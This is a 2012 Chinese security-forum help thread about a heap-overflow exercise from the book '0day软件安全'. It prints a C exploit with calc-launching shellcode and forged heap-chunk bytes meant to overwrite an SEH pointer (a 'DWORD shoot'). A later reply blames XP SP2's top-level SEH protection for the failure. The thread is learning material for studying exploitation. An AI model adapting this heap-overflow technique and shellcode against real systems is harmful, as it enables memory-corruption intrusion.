首页
社区
课程
招聘
[旧帖] [求助]关于0day软件安全一书中DWORD SHOOT问题 0.00雪花
发表于: 2012-4-2 16:41 1552

[旧帖] [求助]关于0day软件安全一书中DWORD SHOOT问题 0.00雪花

2012-4-2 16:41
1552
由于目前是临时会员,只好把帖子发在这儿了,管理员大大不要介意啊~~~
最近看王清的0day软件安全一书,碰到一个头疼的问题,弄了一天还是没弄好,如下:
page184:在堆溢出中利用S.E.H
代码如下:
#include<windows.h>
#include<stdio.h>
#include<stdlib.h>
char mybuf[]=
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
        "\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xF4\x53\x56\xBF\x4D\x11\x86"      
        "\x7C\xFF\xD7\x53\xBF\x7E\x9E\xC0\x77\xFF\xD7"         
                "\x2A\x01\x06\x00\x00\x10\x00\x00"   
                "\x88\x06\x41\x00\xe8\xff\x3d\x00";
      
DWORD MyExceptionhandler(void)
{
        ExitProcess(1);
}
int main(int argc,char *argv[])
{

        HANDLE hHeap;
        char *buf1,*buf2;
        hHeap=HeapCreate(0,0x1000,0xfffff);

        buf1=HeapAlloc(hHeap,HEAP_ZERO_MEMORY,40);
        memcpy(buf1,mybuf,56);

   // __asm int 3
        __try
        {
           buf2=HeapAlloc(hHeap,HEAP_ZERO_MEMORY,8);
        }
        __except(MyExceptionhandler()){}
        return 0;
}
mybuf是一段弹出计算器的shellcode,单独测试的时候可以通过,但是在利用SEH的时候不行了,用OD attach查到的SEH如下:

shellcode的起始地址为0x00410688,但是不知道利用SEH的时候为啥不行?求大牛解释一下啊?非常着急
自己去掉try 和except之后发现报错。如下:这是不是就是出错的原因啊?

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 46
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
找到错误的原因了,,
刚开始怀疑是不是指针反射?后来调试后还是报错,最后发现应该是xp sp2的Top seh保护机制导致溢出失败,详细介绍:
http://www.xfocus.net/articles/200412/762.html
虽然没人回帖,有些伤心
2012-4-3 20:23
0
游客
登录 | 注册 方可回帖
返回
//